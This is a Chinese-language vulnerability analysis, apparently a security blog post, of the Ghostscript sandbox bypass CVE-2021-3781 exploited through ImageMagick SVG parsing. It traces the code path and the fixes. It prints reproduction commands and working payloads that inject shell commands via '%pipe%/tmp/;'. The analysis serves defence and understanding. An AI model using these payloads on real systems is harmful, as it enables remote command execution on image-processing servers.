<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Ghostscript沙箱繞過(CVE-2021-3781)分析

    VSole2021-10-29 15:41:44

    0x00 前言

    Ghostscript是一款Adobe PostScript語言和PDF的解釋器軟件,被諸多著名應用(如ImageMagick)所使用。

    • 9月5日,海外安全研究員在Twitter公開Ghostscript的安全模式繞過0day,并給出ImagMgick的利用代碼,該漏洞可以造成任意命令執行,影響諸多下游應用,當天TSRC緊急對該漏洞進行復現與分析。
    • 9月9日,Ghostscript官方發布補丁代碼,但是并沒有發布編譯程序。
    • 9月27日,Ghostscript官方發布修復后的新版本編譯程序。

    可以說這個0day是影響了相當一段時間,這個漏洞的利用也比較曲折,值得深入研究思考。這篇文章將完整分析從ImageMagick到Ghostscript的攻擊利用鏈。

    0x01 環境搭建及復現

    1. 影響范圍

    https://github.com/ImageMagick/ImageMagick

    ImageMagick <= 7.0.11-10

    https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

    Ghostscript <= 9.54.0

    2. 漏洞環境搭建

    可以在ubuntu 20的環境下快速復現

    apt-get install imagemagick
    git clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.git
    python IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpg
    convert 1.jpg 1.pdf
    

    通過pstree查看進程樹,可以看到是GhostScript執行了sleep命令,由此可以確認分析路徑。

    • ImageMagick是如何生成參數文件,并且傳遞給GhostScript解析?
    • GhostScript的沙箱是如何被繞過的?

    0x02 ImageMagick

    1. 分析ImageMagick

    這里打算進行源碼debug,所以我們從github上下載ImageMagick源碼,編譯debug版本,進行調試。后面附了整個棧信息,想快速分析的可以直接看棧信息就好了。

    一開始看給的poc是生成jpg,以為是jpg文件處理出問題了,其實不然。ImageMagick會自動識別文件類型,通過GetImageDecoder函數獲取相對應的文件decoder,這里獲取到的decoderReadSVGImage,所以雖然將文件名命名為1.jpg,但是ImageMagick還是將文件為svg文件進行處理。

    /tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c

    decoder=GetImageDecoder(magick_info)
    

    ReadSVGImage函數是如何處理payload中重要的descimage兩個標簽?

    在ImageMagick/coders/svg.c中搜索到關鍵詞"desc",來到如下圖的位置。

    在處理desc標簽的時候,會里面內容加一個#,并且寫入到/proc/self/fd/3中(當然這里的fd不一定是3,會根據進程里面打開的文件數量而變化)。

    <desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit desc>
    

    將上面解析為如下內容,并且添加到/proc/self/fd/3

    #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
    

    同樣搜索"image"關鍵詞,來到如下圖的位置。

    /tmp/im/ImageMagick-7.0.11-6/coders/svg.c


    <image href="epi:/proc/self/fd/3" />
    

    將上面解析為如下內容,并且追加到/proc/self/fd/3

    image Over 0,0 0,0 "epi:/proc/self/fd/3"
    

    等把所有svg標簽轉化成mvg文件的原語了,就接著使用DrawPrimitive函數處理mvg內容,處理的內容如下:

    #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit \npush graphic-context\nimage Over 0,0 0,0 \"epi:/proc/self/fd/3\"\npop graphic-context\npush graphic-context\ncompliance \"SVG\"\nfill \"black\"\nfill-opacity 1\nstroke \"none\"\nstroke-width 1\nstroke-opacity 1\nfill-rule nonzero\nviewbox 0 0 1 1\naffine 1 0 0 1 0 0\npop graphic-context\n
    

    /tmp/im/ImageMagick-7.0.11-6/MagickCore/draw.c RenderMVGContent

    其中比較關鍵的是,在處理到image Over 0,0 0,0 "epi:/proc/self/fd/3"中的image關鍵詞的時候,會認定為是Image,所以接著使用ReadImage函數解析epi:/proc/self/fd/3路徑。

    這里根據epi協議頭,把/proc/self/fd/3當成psi文件處理。

    并且ReadPSImage函數會將/proc/self/fd/3的文件連接到input_filename,后面會作為Ghostscript的文件參數。

    status=AcquireUniqueSymbolicLink(image_info->filename,input_filename);
    

    最后會被GhostScript以-f 文件名形式調用。

    /tmp/im/ImageMagick-7.0.11-6/MagickCore/delegate.c

    到這里,問題很明顯了,ImageMagick會把SVG部分內容當成PS腳本內容,給Ghostscript調用。

    在Ghostscript的解析過程,只要保證惡意代碼前面部分是沒有語法錯誤的,惡意代碼后面的部分就不需要管了,就能夠成功解析惡意代碼部分。比如下面PS文件內容,Ghostscript是可以正常執行第一行的。

    #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quitasdasdas xxxxxxx
    

    而ImageMagick巧合會把"desc"里面的內容作為PS腳本的第一行(僅僅加了#這個臟字符,可以進行繞過)。

    最后調用Ghostscript的棧信息。

    libc.so.6!__libc_fork() (\build\glibc-eX1tMB\glibc-2.31\sysdeps\nptl\fork.c:49)libMagickCore-7.Q16HDRI.so.9!ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\delegate.c:446)libMagickCore-7.Q16HDRI.so.9!InvokeGhostscriptDelegate(const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ghostscript-private.h:198)libMagickCore-7.Q16HDRI.so.9!ReadPSImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ps.c:776)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!DrawPrimitive(Image * image, const DrawInfo * draw_info, const PrimitiveInfo * primitive_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:5549)libMagickCore-7.Q16HDRI.so.9!RenderMVGContent(Image * image, const DrawInfo * draw_info, const size_t depth, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4433)libMagickCore-7.Q16HDRI.so.9!DrawImage(Image * image, const DrawInfo * draw_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4474)libMagickCore-7.Q16HDRI.so.9!ReadMVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\mvg.c:239)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadSVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\svg.c:3678)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadImages(ImageInfo * image_info, const char * filename, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:955)libMagickWand-7.Q16HDRI.so.9!ConvertImageCommand(ImageInfo * image_info, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\convert.c:611)libMagickWand-7.Q16HDRI.so.9!MagickCommandGenesis(ImageInfo * image_info, MagickCommand command, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\mogrify.c:191)MagickMain(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:149)main(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:180)
    

    2. ImageMagick怎么修復?

    那么高版本的ImageMagick是如何修復?這里拿7.0.11-6版本進行調試,是沒辦法執行惡意命令的。

    于是對比上面執行命令成功的調用棧,從棧最深層開始排查,定位哪個關鍵函數出問題。后面發現是在DrawPrimitive

    可以看到路徑為epi:/proc/self/fd/3,這個路徑在后續的檢測函數IsPathAccessible是過不了的。

    ImageMagick-7.1.0-8/MagickCore/draw.c

    最后通過stat函數檢測路徑是否可以訪問,如果不可以訪問就不進入ReadImage函數了。

    而有漏洞的版本僅僅檢測clone_info->filename不為空。

    0x03 Ghostscript

    1. 分析Ghostscript

    Ghostscript我們這里重點關注安全模式下是如何繞過管道命令%pipe%cmd沙箱的?

    成功利用的堆棧信息如下:

    libc.so.6!_IO_new_popen(const char * command, const char * mode) (\build\glibc-eX1tMB\glibc-2.31\libio\iopopen.c:221)fs_file_open_pipe(const gs_memory_t * mem, void * secret, const char * fname, char * rfname, const char * mode, gp_file ** file) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:55)pipe_fopen(gx_io_device * iodev, const char * fname, const char * access, gp_file ** pfile, char * rfname, uint rnamelen, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:91)file_open_stream(const char * fname, uint len, const char * file_access, uint buffer_size, stream ** ps, gx_io_device * iodev, iodev_proc_fopen_t fopen_proc, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\sfxcommon.c:94)iodev_os_open_file(gx_io_device * iodev, const char * fname, uint len, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1080)zopen_file(i_ctx_t * i_ctx_p, const gs_parsed_file_name_t * pfn, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1068)zfile(i_ctx_t * i_ctx_p) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:281)interp(i_ctx_t ** pi_ctx_p, const ref * pref, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:1457)gs_call_interp(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:520)gs_interpret(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:477)gs_main_interpret(gs_main_instance * minst, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:257)gs_main_run_string_end(gs_main_instance * minst, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:945)gs_main_run_string_with_length(gs_main_instance * minst, const char * str, uint length, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:889)gs_main_run_string(gs_main_instance * minst, const char * str, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:870)run_string(gs_main_instance * minst, const char * str, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1166)runarg(gs_main_instance * minst, const char * pre, const char * arg, const char * post, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1125)argproc(gs_main_instance * minst, const char * arg) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1047)gs_main_init_with_args01(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:242)gs_main_init_with_args(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:289)psapi_init_with_args(gs_lib_ctx_t * ctx, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\psapi.c:280)gsapi_init_with_args(void * instance, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\iapi.c:239)main(int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\gs.c:95)
    

    從上面的堆棧,找到Ghostscript代碼領域的函數pipe_fopen,函數中如果要成功調用open_pipe函數,會經過的gp_validate_path函數校驗,來判斷打開的路徑是否合法。

    ghostscript-9.54.0/base/gdevpipe.c

    我們來看下gp_validate_path是怎么檢測的?這里主要判斷目錄開頭是否為白名單里面的路徑,而白名單里面有/tmp/*,并且使用popen執行,所以可以使用分號、換行、&等符號拼接執行多個命令。也就是為什么poc里面要加/tmp/的原因。

    2. PostScript是什么

    Ghostscript是PostScript的解釋器,用于解析執行PostScript。PostScript跟我們平時接觸表示法不一樣,是逆波蘭式。

    操作數在前,操作符在后。就是把2 + 3這種中序表達式變成為2 3 add這種后續表達式。想了解PostScript可以翻閱文檔:

    https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/psrefman.pdf 

    回到分析中,ImageMagick會在寫入的內容前面加一個#號,通過翻閱文檔可以找到#copies語法,從而將#臟字符合理化 。

    #copies 3 def(%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
    

    3. 顯示執行結果

    為了更加直觀的查看debug執行情況,我們可以使用如下payload進行回顯觀察執行命令結果。

    #copies 3 defmark/OutputFile (%pipe%/tmp/;ifconfig)(pdfwrite)finddeviceputdevicepropssetdevicequit
    

    4. 如何修復

    修復比較簡單了,直接把%pipe%拼接進行,變成%pipe%/tmp/;ifconfig,這樣路徑不匹配白名單,gp_validate_path驗證也就無法通過了。

    在這個利用鏈中,如果單單修復GhostScript的話,還是有一定DoS的風險,因為Ghostscript沒有對資源做限制,可以進行DoS攻擊。

    執行一次即可跑滿一個cpu核心,多執行幾次最終可以把所有cpu跑滿,在一定的場景是有風險的(比如文章ImageMagick使用場景),不過官方不認為是安全漏洞。

    <desc>Payload打碼</desc>
    

    所以在調用Ghostscript的時候,即使開了安全模式,也并不怎么安全,還是需要嚴格控制PS腳本內容(安全模式也曾被多次繞過)。

    同時建議禁用不需要的coder,比如這次就可以把SVG禁用掉。

    /usr/local/etc/ImageMagick-7/policy.xml

    <policymap>  <policy domain="coder" rights="none" pattern="SVG" />policymap>
    

    0x04 參考

    1. CVE-2021-3781 Commit

    https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde

    2. Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)

    https://insomniasec.com/blog/ghostscript-cve-2020-15900

    3. 關于Ghostscript SAFER沙箱繞過漏洞的分析

    https://www.freebuf.com/vuls/182095.html

    4. Ghostscript 文檔

    https://www.ghostscript.com/doc/9.55.0/Use.htm

    imagemagickconst
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Ghostscript是一款Adobe PostScript語言和PDF的解釋器軟件,被諸多著名應用(如ImageMagick)所使用。 9月5日,海外安全研究員在Twitter公開Ghostscript的安全模式繞過0day,并給出ImagMgick的利用代碼,該漏洞可以造成任意命令執行,影響諸多下游應用,當天TSRC緊急對該漏洞進行復現與分析。 9月9日,Ghostscript官方發布補丁代
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    disable_functionsdisable_functions是php.ini中的一個設置選項,可以用
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    ImageMagick是一個開源的圖像處理庫,允許用戶調整大小、縮放、裁剪、水印和調整圖像。去年,這個廣受歡迎的圖像處理庫發現了當時被稱為“零日”的漏洞,成為頭條新聞影像片,允許黑客通過上傳惡意制作的圖像在Web服務器上執行惡意代碼。現在,就在上周,安全研究員克里斯·埃文斯向公眾展示了一個18字節的漏洞,該漏洞可用于導致雅虎服務器泄露其他用戶的私有雅虎!
    ImageMagick 安全漏洞
    2018-05-09 21:02:53
    ImageMagick是美國ImageMagick Studio公司的一套開源的圖象處理軟件。該軟件可讀取、轉換、寫入多種格式的圖片。 ImageMagick 7.0.7-28版本中的coders/tiff.c文件的WriteTIFFImage存在內存泄露漏洞。目前尚無此漏洞的相關信息,請隨時關注CNNVD或廠商公告。
    一位研究人員發布了一個 Ghostscript 零日漏洞的 PoC 漏洞利用代碼,該漏洞可以完全破壞服務器。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类